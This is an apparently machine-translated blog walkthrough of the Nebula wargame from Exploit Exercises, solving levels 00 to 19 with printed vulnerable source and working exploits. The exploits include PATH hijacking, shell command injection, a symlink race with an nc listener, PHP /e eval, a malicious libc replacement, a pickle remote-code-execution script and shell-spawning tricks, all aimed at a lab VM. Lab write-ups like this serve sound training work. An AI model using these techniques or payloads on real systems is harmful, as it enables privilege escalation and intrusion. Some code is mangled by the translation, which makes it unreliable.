📜 ⬆️ ⬇️

Exploit Exercises or another site for VulnHub lovers



Good day to all, thanks for reading my raitap. Today we will talk about another site that is similar to VulnHub. This is Exploit Exercises . Despite the small number of virtual locks, and their relatively long publication, you can learn something new there. Moreover, this is offset by the diversity and number of levels.

Start proposed with a virtual machine called Nebula . We are going to analyze it today.

There are a total of 20 levels on the following topics:
')

For each level, a separate user, levelXX , has been created , and the flagXX user whose privileges must be obtained in order to execute the getflag command on his behalf. Let's start!

Level00


We are asked using find to find and run the flag00 user program SUID .

Are looking for:

level00@nebula:~$ find / -user flag00 2>/dev/null /bin/.../flag00 

Run:

 level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag! flag00@nebula:~$ getflag You have successfully executed getflag on a target account 

Level01


Given the source of the vulnerable application, you need to run getflag :

level1.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } 


That's what happens when you trust env :)

 level01@nebula:~$ cd /tmp/ level01@nebula:/tmp$ ln -s /bin/getflag echo level01@nebula:/tmp$ PATH=/tmp:$PATH level01@nebula:/tmp$ env echo getflag is executing on a non-flag account, this doesn't count level01@nebula:/tmp$ /home/flag01/flag01 You have successfully executed getflag on a target account 

Level02


Another example of a vulnerable program that trusts environment variables:

level2.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); } 


Just change $ USER :

 level02@nebula:~$ USER="12|getflag" level02@nebula:~$ /home/flag02/flag02 about to call system("/bin/echo 12|getflag is cool") You have successfully executed getflag on a target account 

Level03


There are no sorts here, but there is a crontab , and dangerous permissions for the directory:

writable.sh
 #!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done 


 level03@nebula:/home/flag03$ ls -ahl drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/ -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh* level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh 

Some time later:

 level03@nebula:/home/flag03$ cat /tmp/flag You have successfully executed getflag on a target account 

crontab -u flag03 -l
 */3 * * * * /home/flag03/writable.sh 


Level04


And here we are asked, using this program, to read the contents of the token file:

level4.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); } 


 level04@nebula:~$ ll /home/flag04 -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04* -rw------- 1 flag04 flag04 37 2011-11-20 21:52 token 

Since the file should not contain “token” , it will not contain “token” :

 level04@nebula:~$ /home/flag04/flag04 /home/flag04/flag04 [file to read] level04@nebula:~$ /home/flag04/flag04 token You may not access 'token' level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk 06508b5e-8909-4f38-b630-fdb148a848a2 

Level05


At this level, the wrong rights for the directory are waiting for us:

 level05@nebula:~$ ll /home/flag05/ drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/ -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/ 

Backups are good, let's see what is there:

 level05@nebula:~$ ll /home/flag05/.backup/ -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys 

Excellent, private ssh-key. Connect and execute getflag :

 level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1 flag05@nebula:~$ getflag You have successfully executed getflag on a target account 

Level06


The description says about credentials from past versions of Unix.

 level06@nebula:~$ cat /etc/passwd | grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh 

We feed the John hash, which defines it as the word hello . Log in and pick up the "flag":

 level06@nebula:~$ ssh flag06@127.0.0.1 flag06@nebula:~$ getflag You have successfully executed getflag on a target account 

Level07


User flag07 wrote his first Perl application:

index.cgi
 #!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host")); 


Here we have no filtering parameters in the $ host variable. Check the port on which it hangs:

 level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port port=7007 

And we successfully operate:



Level08


We are asked to see a traffic dump and log in. Download it to yourself:

 level08@nebula:~$ ls -lh /home/flag08 -rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap $ scp level08@10.0.31.116:/home/flag08/capture.pcap ./ 

Let's see what is there:



It is strange that there are nonprinting characters in the password, after extracting the HEX dump of this password and some conversion, we get the following result:

 62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "." 

Google quickly suggested that xterm uses byte 0x7f as a backspace . Thus the password: backd00Rmate .

Connect and run getflag :

 $ ssh 10.0.31.116 -l flag08 flag08@nebula:~$ getflag You have successfully executed getflag on a target account 

Level09


We have access to the SUID C wrapper for the vulnerable PHP script:

level9.php
 <?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?> 


Line $ contents = preg_replace ("/ (\ [email (. *) \]) / E", "spam (\" \\ 2 \ ")", $ contents); quite interesting:

  1. If the content matches the regular expression: "/ (\ [email (. *) \]) /" ;
  2. It is replaced by the spam function, which takes a value in parentheses as an argument. And then executed

We can send any team:

 level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag You have successfully executed getflag on a target account 

Level10


A program that relies on access () sends any file over the network:

basic.c
 #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } } 


The idea is simple, since the access to the requested file is first checked, and only then it is sent, using links, you need to catch the moment when:

  1. The link will point to the file to which you have access;
  2. access () will check this file;
  3. The link will change to a file for which we do not have access;
  4. The program will send it to us successfully.

We realize it. Cycle change links:

 level10@nebula:/tmp$ echo "token" > /tmp/token level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done 

In another window, run a loop that will send the file by reference:

 level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done 

We run nc to listen to the port and output the received data:

 while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done 

And almost immediately we get a token:

token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Using it as a password, we log in as user flag10 :

 level10@nebula:/tmp$ ssh flag10@localhost flag10@nebula:~$ getflag You have successfully executed getflag on a target account 

Level11


There is a program that reads STDIN and executes it:

level11.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } } 


But not everything is so simple. The authors write what they have, 2 solutions, but as it turned out later both do not work. But first things first:

First we are asked to specify the number of bytes to be sent, and then, depending on this number, the string is either immediately transferred to the process function, or the data is first copied into memory.

The function process , XOR 'it them and then gives it to the system . Therefore, we need to send a string that will already be processed by the XOR 'th:

flag11.py
 #!/usr/bin/python cmd = "/bin/getflag\x00" length = 1024 key = length & 0xff enc = '' for i in range(len(cmd)): char_byte = ord(cmd[i]) ^ key enc += chr(char_byte & 0xff) key = (key - ord(cmd[i])) & 0xff if length != len(cmd): junk = "A" * (length - len(cmd)) print( "Content-Length: %d\n%s%s" %(length, enc, junk) ) else: print( "Content-Length: %d\n%s" %(length, enc) ) 


We start and nothing:

 level11@nebula:~$ export TEMP=/tmp level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11 blue = 1024, length = 1024, pink = 1024 getflag is executing on a non-flag account, this doesn't count 

In the documentation for the system function, we find this:

Do not use system () in programs with suid or sgid privileges, because some values ​​of environment variables can cause system crashes. Instead, it is recommended to use the exec (3) family of functions, but not execlp (3) or execvp (3). system () does not function correctly in programs with suid or sgid privileges on those systems where / bin / sh is replaced by bash version 2, since bash 2 resets its permissions on startup. Debian uses a modified bash that does not perform this action when it starts up, just like sh does.

Bash let everyone down:

 level11@nebula:/home/flag11$ ll /bin/sh lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash* 

PS By checking it on a separately compiled binary, we get the same thing. Google did not give any results, apparently the authors updated bash, and forgot to update the task ...

Level12


As stated in the description: backdoor on port 50001. Hmm, let's see:

level12.lua
 local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end 


And so, again the lack of filtering of the entered data. Add a comment:

 level12@nebula:~$ nc 127.0.0.1 50001 Password: 4754a4f4bd5787accd33de887b9250a0691dd198 # Congrats, your token is 413**CARRIER LOST** 

Ok, it worked, let's try something else: 123; getflag> / tmp / flag12 #

 level12@nebula:~$ nc 127.0.0.1 50001 Password: 123 ; getflag > /tmp/flag12 # Better luck next time level12@nebula:~$ cat /tmp/flag12 You have successfully executed getflag on a target account level12@nebula:~$ 

Level13


Given the source, and most importantly cut out, not good:

level13_safe.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); } 


Extract strings:

 level13@nebula:~$ strings /home/flag13/flag13 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob your token is %s 

Disassembling the application in gdb , we find an interesting line:

 0x080485a2 <+222>: xor $0x5a,%edx 

We have the line: 8mjomjh8wml; bwnh8jwbbnnwi;>; 88? O; 9ob , we have the key: 0x5a , we have the operation: xor . Send it to Python :

 >>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob']) >>> 'b705702b-76a8-42b0-8844-3adabbe5ac58' 

And successfully pass authorization:

 level13@nebula:~$ su flag13 Password: b705702b-76a8-42b0-8844-3adabbe5ac58 sh-4.2$ id uid=986(flag13) gid=986(flag13) groups=986(flag13) sh-4.2$ getflag You have successfully executed getflag on a target account 

Level14


There is a program that encrypts everything that goes to STDIN and sends it to STDOUT , and there is a token that we are asked to decrypt:

 level14@nebula:~$ cat /home/flag14/token 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW. 

Let's look at the algorithm in IDA:



Well, it's simple, 1 line in Python :

 >>> ''.join([chr(ord(a[i])-i) for i in range(len(a))]) >>> '8457c118-887c-4e40-a5a6-33a25353165\x0b' 

Token with us, there is the last step:

 level14@nebula:~$ su - flag14 Password: 8457c118-887c-4e40-a5a6-33a25353165 flag14@nebula:~$ getflag You have successfully executed getflag on a target account 

Level15


We are asked to see the strace command output for anomalies:

 level15@nebula:~$ strace /home/flag15/flag15 

strace
execve ("/ home / flag15 / flag15", ["/ home / flag15 / flag15"], [/ * 18 vars * /]) = 0
brk (0) = 0x8d3a000
access ("/ etc / ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2 (NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb773b000
access ("/ etc / ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / i686 / sse2 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / i686 / sse2 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / i686 / sse2 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / i686 / sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / i686 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / i686 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / i686 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / sse2 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / sse2 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / sse2 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / tls / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / i686 / sse2 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / i686 / sse2 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / i686 / sse2 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / i686 / sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / i686 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / i686 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / i686 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / sse2 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / sse2 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / sse2 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / cmov / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15 / cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open ("/ var / tmp / flag15 / libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64 ("/ var / tmp / flag15", {st_mode = S_IFDIR | 0775, st_size = 3, ...}) = 0
open ("/ etc / ld.so.cache", O_RDONLY) = 3
fstat64 (3, {st_mode = S_IFREG | 0644, st_size = 33815, ...}) = 0
mmap2 (NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close (3) = 0
access ("/ etc / ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open ("/ lib / i386-linux-gnu / libc.so.6", O_RDONLY) = 3
read (3, "\ 177ELF \ 1 \ 1 \ 1 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 3 \ 0 \ 3 \ 0 \ 1 \ 0 \ 0 \ 0p \ 222 \ 1 \ 0004 \ 0 \ 0 \ 0 "..., 512) = 512
fstat64 (3, {st_mode = S_IFREG | 0755, st_size = 1544392, ...}) = 0
mmap2 (NULL, 1554968, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_DENYWRITE, 3, 0) = 0x110000
mmap2 (0x286000, 12288, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2 (0x289000, 10776, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0) = 0x289000
close (3) = 0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area ({entry_number: -1 -> 6, base_addr: 0xb77318d0, limit: 1048575, seg_32bit: 1, contents: 0, read_exec_only: 0, limit_in_pages: 1, seg_not_present: 0, useable: 1) = 0
mprotect (0x286000, 8192, PROT_READ) = 0
mprotect (0x8049000, 4096, PROT_READ) = 0
mprotect (0xae4000, 4096, PROT_READ) = 0
munmap (0xb7732000, 33815) = 0
fstat64 (1, {st_mode = S_IFCHR | 0620, st_rdev = makedev (136, 0), ...}) = 0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb773a000
write (1, “strace it! \ n”, 11strace it!
) = 11
exit_group (11)

It is strange that the program tries to load from / var / tmp / flag15 / . Let's try to slip him his libc.so.6 :

 #include <stdio.h> int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$ { execv("/bin/getflag", NULL); return 0; } 

Compile and run:

 level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 You have successfully executed getflag on a target account 

Level16


Another Perl CGI application that hangs on port 1616:

index.pl
 #!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/az/AZ/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password"))); 


The contents of $ username are first converted to upper case, and then sent to execution through the `` operator.

Attempting to insert a command that would close the egrep was unsuccessful. But we can try to bypass the upper case using the method from this article:

 level16@nebula:/tmp$ cat FLAG #!/bin/bash getflag > /tmp/flag16log 

Go to the browser link:

10.0.31.116 : 1616 / index.cgi? Username = `/ * / FLAG`

And display our flag:

 level16@nebula:/tmp$ cat flag16log You have successfully executed getflag on a target account 


Level17


As stated in the description: This script listens on port 10007 and has a vulnerability. Very verbose.

level17.py
 #!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1) 


But there is a vulnerability, it is in the line: obj = pickle.loads (line) . Here you can learn more about its operation. Let's write a script to execute the commands:

 #!/usr/bin/python import socket import pickle host = '10.0.31.116' port = 10007 cmd = '''cos system (S'getflag > /tmp/flag17' tR''' s = socket.socket() s.connect((host, port)) data = s.recv(1024) print(data) s.send(cmd) s.close() 

After starting, we get RCE :

 $ ./flag17.py Accepted connection from 10.0.31.183:50700 

 level17@nebula:~$ cat /tmp/flag17 You have successfully executed getflag on a target account 

Level18


We are asked to analyze the source and find vulnerabilities. Let's do it:

level18.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; } 


  1. void notsupported (char * what) -> dprintf (what); # And here is the format string vulnerability;
  2. void login (char * pw) -> fp = fopen (PWFILE, "r"); # The file opens, but no one closes it.

Let's stop on the login function, especially as it is responsible for authorization. Let's try to create a lot of file descriptors. As a result, fopen should return NULL , and then judging by the code, the authorization flag will be set. We will only need to run the shell :

 python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file -d /dev/tty 

We get a bunch of authorization messages, and the actual shell:

logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed get flag on a target account

Level19


In the description to the level it is said that there is an error in the program, and it should be searched for in runtime:

level19.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); } 


Judging by the code, it is necessary that the process be somehow started with UID = 0. After some searches, we find an article from which we learn that if you create a fork of a process and then kill its parent , the system will automatically assign this fork of a new parent: a process with PID = 1 or the so-called init.

In Python , the implementation of this approach is as follows:

 #!/usr/bin/python import os, time def child(): print 'Child ', os.getpid() time.sleep(1) print "Running shell..." os.execv("/home/flag19/flag19", ('sh',)) def parent(): newpid = os.fork() if newpid == 0: child() else: pids = (os.getpid(), newpid) print "parent: %d, child: %d" % pids parent() 

After launch, we get the shell we need:

 level19@nebula:/home/flag19$ cat|python /tmp/flag19.py parent: 3828, child: 3829 Child 3829 Running shell... id uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19) getflag You have successfully executed getflag on a target account 

That's all.

Source: https://habr.com/ru/post/319380/


All Articles